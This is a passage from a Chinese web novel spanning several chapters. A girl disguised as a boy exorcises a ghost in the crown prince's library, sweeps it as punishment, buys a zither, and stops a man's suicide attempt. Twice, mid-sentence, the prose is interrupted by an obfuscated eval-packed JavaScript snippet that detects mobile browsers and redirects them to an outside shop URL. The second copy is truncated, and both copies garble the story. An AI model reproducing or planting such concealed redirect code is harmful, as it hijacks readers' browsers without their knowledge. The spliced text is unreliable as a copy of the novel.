乔天璇在死灵一声声有气无力的声音中好不容易布好了阵,怀里的符也已经所剩无几。 看来之后得要到卖黄纸的地方去买些新的黄纸回来重新画符了。 就是不知京城中哪儿有卖黄纸的铺子,得打听打听才行。 乔天璇站直了身子,转头面向了死灵,忽地将手中两指夹着的一张符高举起来。 “阵启!” 顿时,死灵猝不及防地被置在了法阵发出的红色光柱之中。 与此同时,同样置身于红色灵光之中的乔天璇向死灵问道:“你因何而死?” 死灵一开始并没有怀疑乔天璇这个小女孩太多,再加上乔天璇的确把这里给洒扫干净了,此刻却一下子被乔天璇的阵困了起来,死灵当即慌乱道:“我冤!我冤!!!” 乔天璇再次问道:“说,你因何而死?” 灵师独有的威压压得死灵痛苦非常。 死灵双手抱头,紧闭双眼,被迫如实回答道:“我毒害太子!嫁祸给与我关系不好的宫女!宫女死前为了拉个垫背的,便说我是主谋,歪打正着……歪打正着……真是歪打正着!我不愿被凌迟,慌乱之下被逼至此处,只得悬梁自尽……” “竟是真的?亏我一直都不愿相信,还以为你是被冤枉至死的。” 陈渊龙的声音突然从后方传来。 也不知陈渊龙是什么时候上来了顶层,乔天璇一直在专心致志对付死灵,倒是没注意到陈渊龙。 阵启后发出的红色灵光会映出死灵的样子和声音,陈渊龙自然也就能跟乔天璇一样看得到听得到了。 “太子殿下?!”死灵听到了陈渊龙的声音,立即睁开双眼朝陈渊龙声音所在的位置望去。 此时,陈渊龙正站在上到第三层的最后一节楼梯。 他抬头定定地望着房梁上被红色灵光笼罩着的绿衣死灵。 乔天璇赶忙道:“太子殿下,千万不要靠近有红色灵光的地方!这个死灵恶毒,我猜她生前之所以待你好,就是因为想要与你拉近关系,好找机会毒害你!” “我知晓了。”陈渊龙语气冰冷,充满了失望。 “啊!!!啊!!!” 死灵被乔天璇说中了心思,顿时崩溃至极,撕心裂肺大吼起来。 窗外的晚霞已在逐渐来临的黑夜中隐去,整个书阁愈发昏暗,乔天璇所布的阵发出来的红色灵光在其中显得尤其突兀,给人一种极其诡异的感觉。 乔天璇继续对死灵释放威压,镇定道:“死灵,你为何要毒害太子?” 死灵被乔天璇的威压逼得无奈尖叫道:“我恨他!我恨他为何不是我生的!我恨他为何不是我的孩子!” “原来如此。”乔天璇了然。 这点倒是与萧芯荷相似。 面对这样的死灵,乔天璇自然不会再让其留在此地。 “死!!!”乔天璇夹着符的双指召出灵火,将符燃烧殆尽。 随着符的燃烧,死灵也在阵中燃烧起来。 “呀啊——” 令人汗毛倒竖的死灵尖叫声充斥着整个书阁。 不过十息时间,死灵便在灵火中彻底消散。 红色灵光也随之逐渐消失,直至完全不见。 方才布阵用的符全都化作一缕灰烬散了去。 乔天璇放下高举起来的手,转身面向了陈渊龙。 窗外的太阳即将彻底落下。 昏暗的书阁中,乔天璇看不清楚陈渊龙脸上的表情。 陈渊龙淡淡道:“今日的洒扫很干净,你可以回去了。” “好。”乔天璇径直走向了楼梯,与还站在上到第三层的最后一节楼梯的陈渊龙擦肩而过。 “……” “你,是灵师吧?”陈渊龙的声音从后方传来。 乔天璇这会儿已经下到了第二层。 她顿了一下,转头回望上方的陈渊龙,轻松一笑,道:“称不上,才疏学浅,略懂皮毛罢了。” 18. 太子伴读(四) 回到京城的租房之后,乔天璇满脑子都在想陈渊龙的命可真大,居然没有被那个假意待他好的妃子给真的毒杀。 乔天璇实在是无法想象乔悦儿若是也跟那个假意待陈渊龙好的妃子一样假意待她好,但实际上跟萧芯荷一样想要她的命,那她到底可不可以分辨得出来,会不会中招,能不能像陈渊龙那样命大躲过劫难。 好在现在看来乔悦儿是真心实意待自己好的。 若不是乔悦儿以身为范教会了自己女扮男装,并让自己对此技得心应手,炉火纯青,以自己每日待在皇家学堂中如此长的时间,再加上现在还要每日都去太子的书阁洒扫,恐怕早就已经露馅儿了。 窗外的天色完全暗了下来,不远处的夜市传来些许热闹的声音,却是让乔天璇的心平静了不少。 乔天璇埋头吃着清涟给自己准备的晚饭,感觉今日尤其的累。 想来是灵力一下子用得太多了。 而且符也一下子消耗得太多了。 乔天璇将碗中的汤一饮而尽,对清涟道:“清涟,我还想喝汤。” “我这便为少爷去盛。”一旁候着的清涟连忙接过乔天璇手中的汤碗,往厨房的方向走了去。 待清涟走远,乔天璇立马冲着守在门外的一个护卫喊:“门口的,你进来一下!” “是。”护卫快步来到了乔天璇的身旁。 乔天璇道:“你去夜市打听打听京城中哪里有卖画符用的黄纸的铺子,有的话就买它个五百张回来给我。” “是。”护卫立即出了去。 乔天璇夹起一块肉在嘴里嚼了嚼,心想自己真是愈发离不开符纸了。 五百张符纸的花销虽然对乔府来说并不算大,但说到底也是一笔看得见摸得着的钱。 乔天璇暗暗盘算着,符纸的钱加上自己画符时灵血的消耗,起码得值个一两银子。 当然,自己的灵血肯定占这一两银子的大头。哪怕自己目前的灵力不强,可自己胜在有天赋。而且要补血的话还得吃不少补血的食物,买食材也是一笔花销。若是日后再因旁人而动用灵力和消耗符纸,就得让那人给自己交钱,要不然便不帮忙了。 想到这里,乔天璇见一粒白米从饭碗边缘掉落到了桌面上。她立即将其夹起,双目端详着筷子上被夹着的那一粒米,语气慵懒道:“钱不到位的事情,我是不会干的。” 翌日,乔天璇在看到罚自己去太子的书阁中洒扫半年的先生时,她并无甚表示,就仿佛是给太子洒扫书阁对她来说算不得什么大不了的事情一样。 惩罚乔天璇的先生见乔天璇一脸无所谓的表情,就好像自己对她的惩罚比起蚊子叮咬还要不值一提,不由感到了些许疑惑和不甘。 一般来说,世家子弟都没干过洒扫的活。对于簸箕和笤帚,他们往往连碰都不会碰一下,更别说用簸箕和笤帚洒扫一整个书阁了,而且还得洒扫得干干净净,让太子满意才行。 像乔天璇这样能够按照要求把活儿一丝不苟地干完,完事儿之后毫无怨言,一句求饶也没有,甚至都不将其当一回事儿的世家子弟,那简直就是前无古人后无来者的存在。更何况太子的书阁曾死过人,按理来说,乔天璇应当有被吓到了的迹象才对啊? 先生百思不得其解,想着再提问一下那个满脸无所谓的乔天璇。 “乔天飞,你来回答一下这个问题。” “在。”乔天璇站起了身。 先生道:“假设你现在身居高位,却事事不顺。经过调查,你得知了平日里与自己最亲近的三个人中有其中一个是内奸,但你并不知这个内奸到底是其中的谁。而这三个与你平日里最亲近的人分别是你的丫鬟、护卫、弟弟,你会打算如何试探他们?” 乔天璇毫不犹豫道:“即刻杀了丫鬟和护卫,若还是事事不顺,就把弟弟囚禁起来,对其严刑拷打,强行逼问。若逼问无果,遂杀之。若逼问出来了,仍旧杀之。但若杀了丫鬟和护卫之后便事事都顺了,弟弟可活。” 顿时,先生猛地将手中的书“啪”一声重重拍在了桌案上,额上青筋暴起,气愤道:“荒唐!乔天飞,你小小年纪所想的解决问题之法怎可如此残忍?!满口杀杀杀杀杀,万一丫鬟和护卫都是无辜的呢?那你岂不是杀错人了?!” 皇家学堂中其余的世家长子全都齐齐望向了乔天璇,眼神中既有惊诧也有佩服。 乔天璇见唯一没有转头来看自己的陈渊龙令人不可察觉地晃动了一下身子。 他这一晃的动作十分不自然,就像是遇见了什么不好的事情,突然浑身发冷了一瞬似的。 乔天璇道:“我既已身居高位,那就得让自己时刻身处在相对安全的环境当中。除了我以外的人,我都得对其抱有怀疑之心,而‘杀’正是解决怀疑的最佳办法。” 先生怒道:“身居高位,当心怀大爱!即便得知身边亲近自己的人中有内奸,那也得好好相待,慢慢试探,不可乱杀!” 说完,先生对着众世家长子道:“这才是正确的回答,明白了吗?” “这……” 世家长子们的目光在先生和乔天璇之间来回移动,似乎非常犹豫。 先生又道:“君子而不仁者有矣夫,未有小人而仁者也[1]。” “……” 此时,世家长子们的目光全都落在了乔天璇的身上。 啧,说我是小人啊?呵。 乔天璇心中无奈,嘴上也笑得无奈。 见乔天璇竟然笑了,先生当即瞪着乔天璇道:“若当权者都如你一般的残忍决绝,那当权者手下的人不得全都终日惶惶不安心神不宁?那他们还会对当权者忠心吗?!” 戚世才思索道:“好像……嗯,好像有道理啊?” “一定要心怀大爱吗?”段无言不解。 乔天璇道:“先生,若照您这么说,那当权者心甘情愿化为以身饲虎的佛陀好了。成全想要害死自己的人,喂饱对方的胃口,自己最终落得个尸骨无存的下场,岂不也是心怀大爱?” “……你、你!”先生又一次被乔天璇气得吹胡子瞪眼。 乔天璇趁热打铁道:“既然说到了心怀大爱,那就得将大爱贯彻到底!是不是还要在死后给害死了自己的人托梦,问害死了自己的人杀得开不开心,杀得爽不爽,想不想再杀啊?!” “滚!”先生顿时暴怒。他指着乔天璇,声音颤抖道:“乔天飞,滚出去罚站反省!” “好嘞!”乔天璇迈着轻快的步子出了去,在经过陈渊龙身旁时依旧不忘恶心他:“爱爱爱,爱不完!” 说罢,乔天璇一蹦一跳出了去。 陈渊龙:“……” 皇家学堂中骤然如死般寂静。 下一刻,众世家长子突然惊呼了起来。 戚世才道:“咦?太子殿下,你的耳根怎么红了?” 荀韫道:“就是,怎么跟熟了一样?是生乔天飞的气了吗?” 绪飞尘道:“乔天飞这人就这样儿,太子殿下莫不是恼羞成怒了?” 姜景和道:“哎呀,众所周知,人的爱心可是火热的!依我看,太子殿下天生就心怀大爱,方才被乔天飞给说到心窝子里去了!” 话音刚落,一声清脆的响指声便从皇家学堂内传出。 尤远生道:“那可不!太子殿下当然是心怀大爱的啊!” 段无言道:“爱不完!爱不完!爱不完!根本爱不完!” “哈哈哈哈哈哈哈哈哈……” “噤声!噤声!噤声!” 先生声音颤抖着让大家安静,整个人被气得身子都微微有些哆嗦了。 乔天璇当然明白先生所说的心怀大爱是何意,只是她清楚人不能盲目大爱,要不然就跟自杀无异。 大概是今日被乔天璇在课上的回答给惊到了,乔天璇下学后照常在书阁拿着簸箕和笤帚洒扫时,一旁端坐在书案前看书的陈渊龙忽然抬头对正在洒扫的乔天璇冷不丁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025593|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了一句:“你的杀气好重。” “啊?”乔天璇转头疑惑地看向了陈渊龙。 陈渊龙仍旧保持着看书的动作,他眼神凉飕飕地望着乔天璇,一言不发。 “我哪儿杀气重了?”乔天璇这会儿早已把上课时自己与先生的问答抛到了脑后。现在的她满脑子都是想要赶紧把书阁中今日落的灰给洒扫干净,好让陈渊龙满意,自己也可以早些回去。 “你自己想。”陈渊龙低下了头继续看书,留下乔天璇独自一人在从窗外吹进来的微风中凌乱。 “我想什么啊……”乔天璇见陈渊龙继续看书了,她也转回了头去继续洒扫。 此地的死灵昨日已经被乔天璇“度化”,乔天璇自然一点儿不害怕这曾经死过人的地方了。 她毫无顾忌地在书阁的各个角落清理灰尘,从第一层洒扫到第三层,最后再返回第一层让陈渊龙来检查。 世间日日有尘埃,人便日日清尘埃。 时间一长,乔天璇就习惯了在太子的书阁中洒扫的日子,习惯了自己洒扫时一旁有个在安静看书的陈渊龙。 当然,每次检查后陈渊龙都没有挑出什么毛病来,让乔天璇在天彻底黑下来之前离开书阁。 这日,乔天璇在洒扫到书阁第二层时突然听到窗外传来人用铁刃打斗时发出的声音。 出于好奇,乔天璇步至窗边,看到书阁的外院内有手持短剑的两人正在比武。 其中一人是陈渊龙,另一人则是一个一袭皇子服饰的小男孩。 “太子的弟弟?二皇子?” 可陈渊龙之前不是跟自己说过书阁除了他以外不会有别的人来吗? 疑惑间,乔天璇的手无意间碰到了窗户框,她忽然就明白了些什么。 看来不包括书阁外面的院子啊! 乔天璇倒是从平日里与世家长子们的交谈中听说过陈渊龙有一个小他几个月且与他同父异母的弟弟。 诚然,皇族子嗣之间同父异母是再正常不过的事情。就是不知陈渊龙的这个弟弟与他的关系如何。 但从眼前的战况来看,这兄弟两人的关系十分不妙,充满了火药味,观战于窗口处的乔天璇眼中闪过无数又闪又快的剑影。 太子与二皇子的剑法想必都是同一个国师教的,他们两人使出的剑法不相上下,剑刃碰撞发出的铿锵之声撞得乔天璇胆战心惊。 最终,陈渊龙瞅准时机将对方的短剑一把挑飞。 紧接着,陈渊龙一脚将其的踩在脚下,淡然道:“陈玄,你输了。” 被陈渊龙踩着后背的陈玄趴在地上动弹不得,无奈苦笑道:“许久不与皇兄比剑,没想到皇兄还是那么厉害。想必皇兄每日天还没亮就已经起来练剑了吧?” 陈渊龙道:“自然。” 陈玄当即求饶道:“弟弟我败了败了,是弟弟我不懂事,求皇兄饶了弟弟吧。” 陈渊龙轻轻抬起了脚,可脚下的陈玄刚一起身一点儿就又被陈渊龙刚刚抬起一些的脚给重新踩了下去。 “啊!皇兄啊啊啊啊啊……”陈玄痛苦哀嚎。 陈渊龙冷冷道:“陈玄,下次想找我比剑时不许在这个时间来,记住了吗?” 陈玄慌忙道:“记住了记住了记住了!皇兄饶命饶命饶命啊!” 陈渊龙缓缓抬起了脚,不再踩着陈玄。 陈玄哆哆嗦嗦试探着站起了身,发现陈渊龙真的不再踩他了,便赶紧去捡他那把被陈渊龙给挑飞了的短剑,头也不敢回地跑出了院子。 见陈玄跑远了,陈渊龙才转身准备回书阁。 乔天璇赶忙离远了窗户,莫名有些担心自己站着窗边会被陈渊龙给看到。 没想到这个陈渊龙每日天还没亮就已经起身练剑了,真是有够勤奋刻苦的。 乔天璇边扫着角落里的灰尘边想着。 看来自己夜里也得多花些时间来打坐修炼了,可不能浪费了自己的天赋,得让自己的灵力变强! 19. 太子伴读(五) 天气逐渐转凉,但书阁外的院子里种着的都是枯树,根本毫无可落的叶。 算下来,自己再在书阁里洒扫一个月,这长达半年的惩罚就可以结束了。 乔天璇洒扫时偷瞟了一眼在书阁中那张书案前端坐着认真看书的陈渊龙,见他如往常一般冷着一张脸,心中不由得暗暗抱怨了一句:“真是个冷面瓜。” 最近要开始上琴课了,乔天璇倒是有些期待陈渊龙这个冷面瓜抚琴时会是如何模样。 想着,乔天璇不由得注意起了陈渊龙的手。 就跟陈渊龙的脸一样,他的手和脸是同一个颜色,都如白玉那般好看。 阳光若是从窗外洒落进来,刚好照到陈渊龙拿着书的手上,他那双骨节分明的手便会在阳光下被照得泛起白光。 如此一双手,抚起琴来定会让人感到赏心悦目。 既是要上琴课,那手中就得有一把琴才行。 休沐日,乔天璇在用过早饭之后带着丫鬟清涟和一众护卫来到了京城中卖琴的铺子中相琴。 卖琴的铺子有很多家,据一名护卫在前一日了解到的情况,京城中有三家特别受爱琴之人欢迎的琴铺子。 乔天璇打算于这三家琴铺子中挑出自己最喜欢的那张琴。 在来到第一家琴铺子时,琴铺子的伙计见来相琴的居然是世家长子,连忙将琴铺子中最精贵的一张琴介绍给了乔天璇。 据伙计所说,这张琴所用的木料是千里挑一且自然阴干了三年半的泡桐木,不易开裂和变形。而且泡桐木的透音性很好、共鸣绵长,音色极为洪亮,哪怕是琴艺不精的人也能够弹得很好听。 “不错不错,但我不想与琴艺不精的人所弹之声在同一个档次上。” 说罢,乔天璇转身离开,在伙计急切的挽留声中带着众人前往了第二家琴铺子。 第二家琴铺子中的伙计见来相琴的是世家长子,慌忙将老板给喊了来。 老板笑眯眯地跟乔天璇介绍了他家琴铺子中最近做工最好的琴。 据老板介绍,这张琴由椴木所制,自然阴干了四年整,一眼望去可见其纹理十分细腻柔软,带有绢丝般的光泽。人若上手,弹出来的音色清润且圆厚,相当悦耳。 然而乔天璇见此琴的琴身为黄棕色,不免眉头一皱。 她想要一张颜色鲜亮的琴。 “走吧。”乔天璇转身离去,打算前往第三家琴铺子。 就在这时,一个熟悉的身影来到了琴铺子的门口。 “段无言?”乔天璇对那人的姓名脱口而出。 “乔天飞?你也是为琴课来相琴的?”段无言遇见乔天璇,不由得有些惊喜。 毕竟是在皇家学堂中坐同一排的人,两人对于对方的印象比起其他同窗要深刻多些。 “对。”乔天璇点了点头。 “这家琴铺子的琴如何?”段无言快步走到了乔天璇的面前,圆圆的双眼中满是期待。 段无言最近似乎壮实了一些。许是宫里给大家提供的顿顿大鱼大肉且蔬果不缺的午饭把他喂胖了。 乔天璇道:“挺好的,各方面都很不错,你要是喜欢的话可以买。” 段无言疑惑道:“那你怎么不买?” 乔天璇道:“颜色我不喜欢,你要是不介意颜色的话……你还是自己去看看吧。” “哦哦,颜色啊?我对这个倒是没那么挑剔,我去瞧瞧!”段无言立马疾步走向了老板身旁的琴。 老板见又来了一个买琴的世家长子,连忙给段无言介绍起了他家的琴。 “走了。”乔天璇带着众人即刻离开。 如果不出意外的话,自己方才看到的那张椴木所制的琴就由段无言来买下了。 来到了第三家琴铺子后,乔天璇一进琴铺子中就听到了一阵悠扬的琴声。 伙计见到来的客人是世家长子,连忙前来欢迎。 乔天璇道:“是谁在抚琴?” 伙计道:“是掌柜的女儿。” 乔天璇道:“带我去瞧瞧。” “好!”伙计立马带着乔天璇来到了琴铺子中的一道屏风后。 从屏风后传来的曲声悠扬婉转,似是在描述一幅山野之景,时而溪水潺潺,时而鹿奔鸟鸣。 乔天璇对身旁的清涟和身后的一众护卫做了个不要跟着自己的手势,独自一人慢慢走到了屏风后。 只见一个十二岁的紫衣银钗少女坐于屏风后抚琴,其貌小家碧玉,杏脸桃腮,一双柳眉弯弯惹人怜爱。 许是抚琴太过专注,她并没有注意到乔天璇的到来。 一曲终了,乔天璇情不自禁拍起了掌。 少女慌忙转头,看到了正在为她鼓掌的乔天璇。 伙计赶忙来到屏风后为女子介绍道:“阿燕,这是淮南乔氏的长公子,此番前来相琴。” 闻言,少女当即起身给乔天璇行礼,道:“小女子名唤唐燕,不知公子看中了铺子中的哪一张琴?” 乔天璇望着方才唐燕弹过的那张琴,见琴呈金黄色,颜色十分鲜亮,相当符合自己的喜好,便道:“你方才所弹之琴就非常不错,能否给我介绍一下?” “当然可以!”唐燕满眼欣喜,立马为乔天璇介绍起了她方才所弹之琴。 据唐燕所述,此琴由金丝楠木所制,自然阴干了六年整,其纹理独特好看且耐腐防蛀,上面的雕刻花费了三年,雕工精致细腻,弹奏出来的音色也层次分明,悦耳到了极致。 乔天璇听着唐燕的讲述,来到了琴旁,轻轻抚摸着金黄色的琴身。 “公子有购下此琴的意向吗?”唐燕特意屈着双腿,让乔天璇得以平视她。 乔天璇看着唐燕一双亮亮的杏眼中满是讨好的意味和期盼,不禁心中一动。 “好,买。”乔天璇点了点头。 于乔天璇而言,乔府每月寄来给她的钱多得根本花不完。现在她用余钱来买一张好琴,那简直是绰绰有余。 唐燕欣喜道:“公子真是好眼光!” 乔天璇微微一笑,只觉身心喜悦非常。 这种喜悦一直伴随到了乔天璇次日上琴课的时候。 琴课上,乔天璇脑海里仍在回想着昨日相琴时发生的事情。 给大家上琴课的先生是京城中人人都知晓的琴痴,也是九宸国上大夫,名唤贺琢。 贺琢被请来给太子和众世家长子上课,他自然教得相当认真。 上课前,乔天璇瞧见与自己同一排的段无言果然买的是昨日自己在第二家琴铺子里夸赞过的那张琴,不由得心中暗喜自己的猜测果然没错。 而段无言在看到乔天璇书案上的金黄色琴时,顿时露出了恍然大悟的神情,感叹道:“原来你喜欢这么鲜亮的颜色啊。” 乔天璇道:“那是当然,而且上面还留有漂亮姐姐的香气。” 段无言好奇道:“漂亮姐姐的香气?” “哦,就是一种花的香气。”乔天璇懒得跟段无言解释昨日她买下这张琴的过程。 “名为‘漂亮姐姐’的花?有这种花吗?我怎么从小都没有听说过这种名字的花啊……”段无言思索着,满脸疑惑。 “当啷当啷当啷当啷当啷……” 上课的铃声被敲响,贺琢也随着铃声的响起走进了皇家学堂中。 “认真听课,这可是我们的第一堂琴课呢。” 借此机会,乔天璇赶紧结束了自己与段无言的对话。 段无言的思绪被响亮悠长的铃声打断,自然也不再向乔天璇追问下去了。 至于太子陈渊龙所用的琴,那自是不必多说。 光是看品相,乔天璇便想都不用想,问都不用问就能知道那是一张价值连城的琴。 乔天璇并不打算跟陈渊龙比这个。 可乔天璇的琴技也实在是难以拿得出手。 一堂琴课下来,乔天璇虽然知晓了宫、商、角、徵、羽五音,但由于她从前完全没有习过音律,并不能将贺琢所求之感弹出。 相较之下,陈渊龙就弹得还算得心应手。 不过由贺琢所夸赞陈渊龙的话,乔天璇也知晓 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很快,乔天璇被罚在书阁洒扫的日子就到了最后一日。 初来时还是春日,现在已然是秋末,凉风习习,寒冷的冬日不久后就将来临。 能够望见书阁后院的窗户总是闭着,乔天璇之前也没有心思去书阁后院。想到明日就不来这儿了,洒扫完后,乔天璇打算把她还未打开过的这扇窗户给开一下。 结果这一开,乔天璇就望见书阁后院的院墙底下居然开着一整排的小雏菊。 书阁曾经死过人,除了陈渊龙,还有谁会在此地种花? 想到这里,乔天璇倒是想去书阁后院仔细瞧瞧那些小雏菊了。 但她并不想从正门出去绕路到后院,便直接从一层能望见书阁后院的窗户悄悄翻了出去。 书阁后院并不算大,乔天璇没走几步就来到了院墙底下那一排小雏菊前。 小雏菊开得正好,每一朵看起来都十分有精神。 乔天璇猜测这些小雏菊都是陈渊龙亲手种的,不由得暗起坏心。 她蹲下身子,将眼前的小雏菊摘下不少藏入了怀中。 哼,破坏你亲手种的花! 想罢,乔天璇返回窗户,翻窗回到书阁内,打算去让陈渊龙检查自己的洒扫是否合格,好让自己能赶紧离开这儿。 当乔天璇绕过几排书柜,走向了书案前端坐着的陈渊龙时,乔天璇才发现陈渊龙今日不知是太困了还是怎么了,他这会儿竟然趴在书案上睡着了。 乔天璇凑到了陈渊龙的身旁,发现他睡得很沉。 夕阳的光从西边的窗户洒落进来,刚好照在陈渊龙的身子和脸庞上,让他仿佛浑身都在散发着金光。 怀揣小雏菊的乔天璇在这一刻不禁觉得自己有些像那种趁着别人熟睡,将别人的东西给占为己有的小偷了。 ……算了,小雏菊还是还给他吧。之后他要是问起,就说自己不知道那是他种的。而且也不一定是他种的啊,万一是自己长起来的野菊花呢? 乔天璇从怀中将小雏菊一朵一朵取出,然后把小雏菊一朵一朵戴到了陈渊龙的头发上,插了他满头。 想到自己的洒扫还从未让陈渊龙不满意过,这一次他肯定也是满意的。乔天璇在将最后一朵小雏菊别到了陈渊龙的右耳上后便转身大摇大摆离开了书阁。 翌日,乔天璇破天荒见到陈渊龙阴冷着一张脸守着来到了皇家学堂门口前正准备进门去的自己。 乔天璇若无其事道:“太子殿下专程来守我,不知所为何事?” 此刻,陈渊龙漆黑的眸子中连光都没有。他满眼冷漠,语气冰冷道:“小雏菊。” “……” 果然是昨日那件事啊。 乔天璇虽然心虚,但她仍旧如之前那样睁大了本就水灵溜圆的双眼,冲着陈渊龙娇俏一笑。 “嘿嘿,冷面瓜配小雏菊,好看吧?” 20. 斗鸡逗人(一) 荒废破败的乔府毫无生气。 乔天璇凭着记忆一路走向了自己儿时住过的那个房间。 “云天,你要去哪儿?”花蕊跟在乔天璇的身后,满脸疑惑。 “……” 乔天璇不愿让身后的陈渊龙知晓自己就是乔天璇,便没有直接说她想看看自己曾经住过的房间,而是道:“我想去看看昔日乔家大小姐所住的房间。” 花蕊兴奋道:“你知道乔家大小姐的房间在哪儿?” “看整个乔府的布局就能知道哪个是乔家大小姐所住的房间了。”乔天璇脚下步子很快,她其实挺想知道过了这么多年之后自己曾经住过的房间现在情况如何了。 不一会儿,乔天璇就在一大片断壁残垣中来到了自己昔日的住处外面。 也不知淮南乔氏当年在被灭门时到底发生了什么,府中尸骨无存,房屋倒的倒,塌的塌,越往里走就越乱,一眼望去一片狼藉,没有一处好地方。 至于乔家大小姐的住处,那更是连房顶都不翼而飞,瓦砾满地,满目疮痍。 看着眼前的景象,乔天璇平静道:“还行吧。” “啊?就、就这个地方?!”花蕊被眼前的画面给惊到了。 如今,无论是谁来都已经完全看不出乔家大小姐当年所住的房间是如何模样了。 “唉,乔家大小姐啊……”乔天璇暗暗叨念着,心中无奈道:“不过是一枚被利用的棋子罢了。” 一直跟在花蕊身后的祝源四处张望着眼前已然倒塌多年的乔府,不禁叹息一声:“可惜可惜,断壁残垣诉春秋,行客只叹时倥偬。” 花蕊:“……” 乔天璇步入眼前可勉强落脚的地方,偏头望向了昔日挂着鹦鹉笼子的地方,见那处地方此时空空如也,既没有鹦鹉,也没有笼子,更没有昔年常伴自己身旁的姑姐乔悦儿和一直保护自己的护卫凌风。 毫无疑问,淮南乔氏灭门之时这两个人也死了。 想到了乔悦儿和凌风,乔天璇的心不由得沉了沉,脚下步步靠近已经完全没有房间样子了的房间。 身后几人也跟着乔天璇一起步入了其中。 走进四面无墙,房上无顶的“房间”中后,乔天璇慢慢步至当年她用来存放衣衫的箱子旁。 箱子所在的位置倒是没变,只不过没了房顶的遮蔽,箱子经过多年的风吹日晒雨淋后早已变得又脏又破,腐败不堪,光是看起来便让乔天璇连碰都不愿碰一下,更别说去打开这箱子了。 但乔天璇即便不去打开这箱子也知道这箱子的最底层仍旧存放着她六岁那会儿刚从山村来到乔府时穿着的那套打补丁的破衣烂衫。 那套衣衫与当时富贵繁荣的乔府格格不入,却阴差阳错与如今的乔府变成了相同的风格。 辉煌的覆灭让曾经难以融入其中的东西如今变得身处其中再合适不过,当真是世事难料。 乔天璇不愿再看,转身想要离开此处,却见陈渊龙漆黑的双眸此刻正盯着自己。 陈渊龙的眼神并没有让乔天璇感到冰冷和不适,反而让乔天璇从中感觉到了些许陈渊龙似是想要安慰她的情绪。 啧,谁想要你的安慰? 乔天璇把目光移到了一旁的洛侠身上,却见洛侠在面对此地的景象时神情露出了少见的不安。 “看来师父不喜欢这个地方,那我们就不在此地多作逗留了。” 说罢,乔天璇走到了洛侠身旁,一把拉住洛侠的手,毫不犹豫地带着他往外走去。 “走啦,全是废墟,没什么好看的。”花蕊也转身离了去。 “阿蕊等我!”祝源连忙走到了花蕊身旁。 乔天璇知道陈渊龙一定会跟在最后面,她便没有回头去看,免得再与他对上眼。 很快,一行人走出了乔府遗址,回到了热闹的大街上。 乔天璇此时的心绪还停留在早已亡故的乔悦儿与凌风身上,周遭虽然热闹,但她却只觉得心中郁闷,怎么也高兴不起来。 “哇噻!快去河边瞧瞧!有人要跳河自尽!” “我知道!是刚刚那个和雷家大公子斗鸡斗输了之后被雷家大公子惩罚裸奔的人!” “他应该是觉得太丢人了,所以打算去死。” “大男人裸就裸了,他害什么羞啊?” “大概是脸皮薄吧?” “他那个大块头的皮还能薄?开什么玩笑?!” “哎呀不管了,咱们到河边看看热闹去!走快点儿说不定还能赶得上看他跳河的一个好位置呢!” “没错!走走走走走!” 听到街上百姓们的议论声,乔天璇立马回想起了不久前看到的那个裸奔男子。 花蕊道:“不是吧?他刚刚不是还在众人面前不穿衣服跑得挺欢的吗?怎么现在突然就要自杀了啊?” 祝源道:“我要是他,我在斗鸡输给了雷家大公子之后就直接自杀,免得裸奔丢人。” “不行!怎能就这么把命都给不要了呢?我们得去救他!”花蕊当即跟上了大街上往裸奔男子跳河的位置赶去的百姓们身后。 “玉心!”乔天璇连忙跟上。 对于救人一事,乔天璇倒是知道无论有没有报酬,只要能救得了,花蕊都愿意去救。 一行人很快就齐齐来到了一处河边。 方才裸奔的男子这会儿已经把衣服给穿上了。 他双手捂脸,满脸通红,一对粗粗的麻花辫垂在壮硕且微微发颤的前胸,口中不断地发出悲伤的呜咽声。 围在河边的百姓有的在大声劝他不要轻生,有的则在让他想跳就赶紧跳,不要耽误了大家的时间。 花蕊凭着自己力气大,硬是挤到了那即将要跳河自尽的男子身后,大喊道:“兄台!不要跳啊!快想想人生的美好!你这一跳,就再也感受不到这一切的美好了!” “……美好?哪里美好了?这个操蛋的世界简直烂透了!”男子悲痛道:“我完了,我完蛋了!” “完什么蛋啊?你还这么年轻,来日方长嘛!”花蕊努力又朝男子靠近了一些。 百姓们为了看男子跳河,河边的哪一处都挤得不得了,人满为患,令乔天璇感到十分窒息。 乔天璇是真不知花蕊浑身上下得有多么大的力气才能让她那么轻松就挤到了人群前面的位置。 自己拼尽了全力才得以在人群中缓慢地朝花蕊的方向挪近了些许。 可花蕊现在又朝男子靠近了一些,那就意味着自己也相应的离花蕊远了一些。 “真是的,她怎么一天天使不完的牛劲儿……”乔天璇艰难地往前一点一点挤着。 陈渊龙和洛侠则挤在乔天璇的后面,面对拥挤的人群也是无能为力。 祝源则根本就挤不进人群中,只能在最外面的地方找了个高点的地方站了上去,焦急地看着眼前乱哄哄的场面。 “再见了,人间。再见了,我一切的痛苦。” 说完,男子放下了捂脸的双手,闭上了流泪的双眼,准备朝着身前的河流一跃而下。 “咚!!!” 巨大的声响从男子头上传来。 乔天璇顿时停下了往前挤的动作。 在所有人的注视下,花蕊猛地一拳将男子重重击晕在地,及时阻止了男子想要跳河自尽的念头。 “好好活着,不许死!”阿蕊蹲下身子,抬手轻轻甩了男子一个嘴巴子。 男子已然被花蕊给打昏过去,完全感受不到花蕊的巴掌。又或者是花蕊的这个巴掌对于花蕊来说挺轻的,但对于被打的男子来说可就不一定是这个感觉了。也许这个巴掌会让男子昏迷得更加彻底。 围在河边的人们见男子已经没了想要继续跳河的迹象,再看到他身旁那个不知力气究竟有多大的少女,纷纷对其退避三舍,满眼失望地离了去。 “啧啧,散了散了,没热闹看了!” “别打那个黄毛丫头的主意了,她一拳就能打昏一个壮汉,简直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 